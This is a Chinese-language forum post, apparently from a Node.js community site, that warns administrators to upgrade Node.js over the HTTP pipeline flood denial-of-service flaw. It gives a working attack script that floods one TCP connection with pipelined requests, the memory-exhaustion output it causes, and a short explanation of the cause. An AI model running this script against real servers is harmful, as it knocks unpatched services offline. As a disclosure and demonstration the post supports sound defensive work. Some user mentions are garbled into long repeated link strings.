精华 Node.js http 管道拒绝服务漏洞
发布于 1年前 作者 DoubleSpout 2057 次浏览

最近在写一些网络安全方面的东西,想到近期Node.js有次重大升级,想顺便提醒下各位将Node.js部署在生产环境下的TX,务必将版本升级到0.8.260.10.21

之前我的老同学[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[@pathletboy](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)已经用非常漂亮的golang攻击实例警告各位Noe.js站长有条件的快点升级,下面是原文地址: http://cnodejs.org/topic/52623dc29df724eb6d00808b

站长[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[@suqian](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian) 也发起了嘲讽贴,说cnode已经升级,欢迎前来攻击吧,可见这次的http管道漏洞影响还是非常大的,那他究竟有多少威力呢?下面我们进行一个简单的模拟攻击实验,看看这个漏洞究竟有多厉害。

我们的测试机器和攻击机器都是2CPU 4G内存的云服务器,系统linux 2.6.8 64bit,node版本0.10.7,网络环境是公司内网。

我们先启动服务器脚本:

var http = require('http');
var buf = new Buffer(1024*1024);//1kb buffer
buf.fill('h');
http.createServer(function (request, response) {
    response.writeHead(200, {'Content-Type': 'text/plain'});
    response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
 console.log(process.memoryUsage());
},1000*60)

这段脚本我们对请求都会响应1KB的buffer字符h,同时每分钟会打印出当前Node.js进程所消耗掉的内存。在攻击服务器上,我们部署如下脚本:

var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n';//模拟get请求头
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:'192.168.28.4'},//28.4是上面那台服务器的ip地址
 function() { //'connect' listener
  while(i--){
    client.write(attack_str);
    }
 });
client.on('error', function(e) {
 console.log('attack success');
});

我们在一个tcp连接上模拟10W次http请求,get获取这1kb的buffer字符,但是我们并不消费它,不监听clientdata事件,当攻击脚本运行结束后,我们看下运行10分钟Node.js服务器打印的内存消耗信息情况:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

从我们启动web服务到攻击结束,我们的web服务器内存占用多了近200倍消耗,我们利用top命令打印出服务器当前剩余内存,发现所剩无几:

Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers

更可怕的是,这部分内存还不会主动释放,除非重启Node.js进程才会,一个tcp连接已经有这么强大的威力,如果再多发送10W次,或者有2个恶意连接同时攻击,我们的Node.js web服务器终将会因为物理内存耗尽进入频繁交换失去响应,无法提供服务了。

所以此次的http漏洞非常紧急,请各位加紧升级您的Node.js版本。

关于漏洞的原因主要是,由于客户端不触发drain这样的排泄事件,而Node.js服务器却一直在往stream中写入数据,从而造成物理内存一直无法释放,最终耗尽。

升级日志: http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos/

6 回复

谢谢给出讲解。

cnode 当前第一时间被攻击了.

结果如何?是不是down了?

哈 学习了~ 我们大部分都是采用nginx作为node的前端代理,可能影响会小点,毕竟升级要改的地方太多了

回到顶部